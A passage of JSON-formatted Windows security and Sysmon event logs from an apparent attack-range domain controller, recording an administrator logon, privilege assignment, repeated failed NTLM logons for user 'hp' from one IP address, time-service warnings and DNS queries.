command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221520,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x39B6C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x39b6c","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221521,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x39B6C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x39b6c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221522,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62958\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62958","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221523,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63016\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63016","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221524,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63106\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63106","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":12,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76812,"ProcessID":1220,"ThreadID":1960,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"Time Provider NtpClient: This machine is configured to use the domain hierarchy to determine its time source, but it is the AD PDC emulator for the domain at the root of the forest, so there is no machine above it in the domain hierarchy to use as a time source. It is recommended that you either configure a reliable time service in the root domain, or manually configure the AD PDC to synchronize with an external time source. Otherwise, this machine will function as the authoritative time source in the domain hierarchy. If an external time source is not configured or used for this computer, you may choose to disable the NtpClient.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":134,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76813,"ProcessID":1220,"ThreadID":2004,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"NtpClient was unable to set a manual peer to use as a time source because of DNS resolution error on 'time.windows.com,0x8'. NtpClient will try again in 15 minutes and double the reattempt interval thereafter. The error was: No such host is known. (0x80072AF9)","Opcode":"Info","ErrorMessage":"No such host is known. (0x80072AF9)","RetryMinutes":"15","DomainPeer":"time.windows.com,0x8","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76814,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The W32Time service entered the running state.","param1":"W32Time","param2":"running","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221525,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63215\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63215","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221526,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63268\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63268","EventReceivedTime":"2020-08-07 11:50:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2269,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.330\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: www.msftconnecttest.com\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.330","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"www.msftconnecttest.com","QueryStatus":"1460","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2270,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.330\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: eu-central-1.compute.internal\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.330","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"eu-central-1.compute.internal","QueryStatus":"1460","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221527,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63397\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63397","EventReceivedTime":"2020-08-07 11:50:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221528,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63542\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited 